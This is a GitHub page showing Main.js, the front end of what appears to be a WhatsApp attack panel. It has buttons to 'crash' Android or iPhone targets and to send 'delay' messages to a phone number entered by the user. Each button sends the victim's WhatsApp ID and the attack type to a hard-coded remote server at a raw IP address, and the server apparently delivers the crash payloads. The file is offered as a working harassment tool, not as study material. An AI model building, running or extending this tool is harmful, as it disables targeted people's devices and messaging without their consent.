Repository navigation
Expand file tree
/
Copy pathMain.js
More file actions
46 lines (40 loc) · 1.78 KB
/
Copy pathMain.js
File metadata and controls
46 lines (40 loc) · 1.78 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
document.addEventListener('DOMContentLoaded', () => {
const targetNumberInput = document.getElementById('targetNumber');
const crashAndroidBtn = document.getElementById('crashAndroidBtn');
const crashIphoneBtn = document.getElementById('crashIphoneBtn');
const delayMentionBtn = document.getElementById('delayMentionBtn');
const responseMessageDiv = document.getElementById('responseMessage');
const logoutBtn = document.getElementById('logoutBtn');
const API_BASE_URL = 'http://206.189.93.164:2011/zuu';
crashAndroidBtn.addEventListener('click', () => sendAction('fc'));
crashIphoneBtn.addEventListener('click', () => sendAction('ios'));
delayMentionBtn.addEventListener('click', () => sendAction('delay'));
logoutBtn.addEventListener('click', () => {
sessionStorage.clear();
window.location.href = 'index.html';
});
async function sendAction(type) {
const target = targetNumberInput.value;
if (!target) {
showMessage('Nomor target tidak boleh kosong!', 'error');
return;
}
showMessage('Mengirim permintaan...', '');
try {
const fullUrl = `${API_BASE_URL}?type=${type}&chatId=${target}@s.whatsapp.net`;
const response = await fetch(fullUrl);
const data = await response.json();
if (data.success) {
showMessage(data.message || 'berhasil', 'success');
} else {
showMessage(data.error || 'Terjadi kesalahan.', 'error');
}
} catch (error) {
showMessage('Gagal terhubung ke server.', 'error');
}
}
function showMessage(message, type) {
responseMessageDiv.textContent = message;
responseMessageDiv.className = type;
}
});